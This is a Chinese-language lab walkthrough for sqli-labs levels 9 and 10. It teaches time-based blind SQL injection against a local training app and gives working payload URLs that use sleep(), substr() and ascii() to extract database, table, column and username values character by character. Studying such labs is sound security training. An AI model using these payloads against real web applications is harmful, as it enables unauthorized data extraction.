知识点:时间盲注
思路:
1、判断注入点
首先,我们先看一下注入点,输入?id=1
接着输入?id=1' # 结果还是没有变化
接着再输入 ?id=1" # 结果还是没变
再输入?id=-1 结果还是一样
通过这几种测试方法,结果回显都是一样,既没有显示语句错误,也没有报错,我们可以猜测为时间盲注。但不知道是单引号、还是双引号,可以在下面证实。根据原理知道为单引号
2、时间盲注的函数
sleep() :时间函数,可以延时
if(条件表达式,True, Flase) : 如果条件表达式符合则会显示True的内容,反之则为Flase
length() :判断当前字符的长度
substr(str,pos,len)
- str为列名/字符串;
- pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
- len为截取字符个数/长度
ascii(): ascii 转码
3、判断当前数据库的长度以及库名
http://127.0.0.1:3306/Less-9/?id=1' and if(length(database())>3,sleep(5),1) --+
如果当前数据库的长度大于3的话,则延时5秒执行
注:注释符 get方式用 --+ post 方式用 #
通过这种方式可以推断出当前数据库的表的长度
http://127.0.0.1:3306/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+
接下来就可以推断数据库的名字,可以a~z,A~Z进行推断
我们从a开始试,试出第一个字母为 ’s'
http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
依次类推,通过改变subst()函数的值和ASCII码值,我们可以推出数据库名为“security”
4、判断表名
我们还是使用ascii转码和substr()
http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+
第一张表的第一个字母为'e',依次类推,通过改变limit和subst()函数的值和ASCII码值可以推断出所有的表名
5、判断字段名
我们以users为例
http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=101,sleep(5),1) --+
通过这样的步骤,可以推断出users表的所有字段
6、爆值
爆用户名
http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1) --+
通过这种方式可以得到所有的信息
第10关
第10关的思路跟第9关的思路是一样的,只不过注入点的类型不同
1、判断注入点
回显是一样的,所以可以判断为时间盲注
通过下面的回显,可以判断为双引号的时间盲注,接下来的判断就跟第9关的一样
这篇文章就写到这里,哪里表述不清楚的欢迎批评指正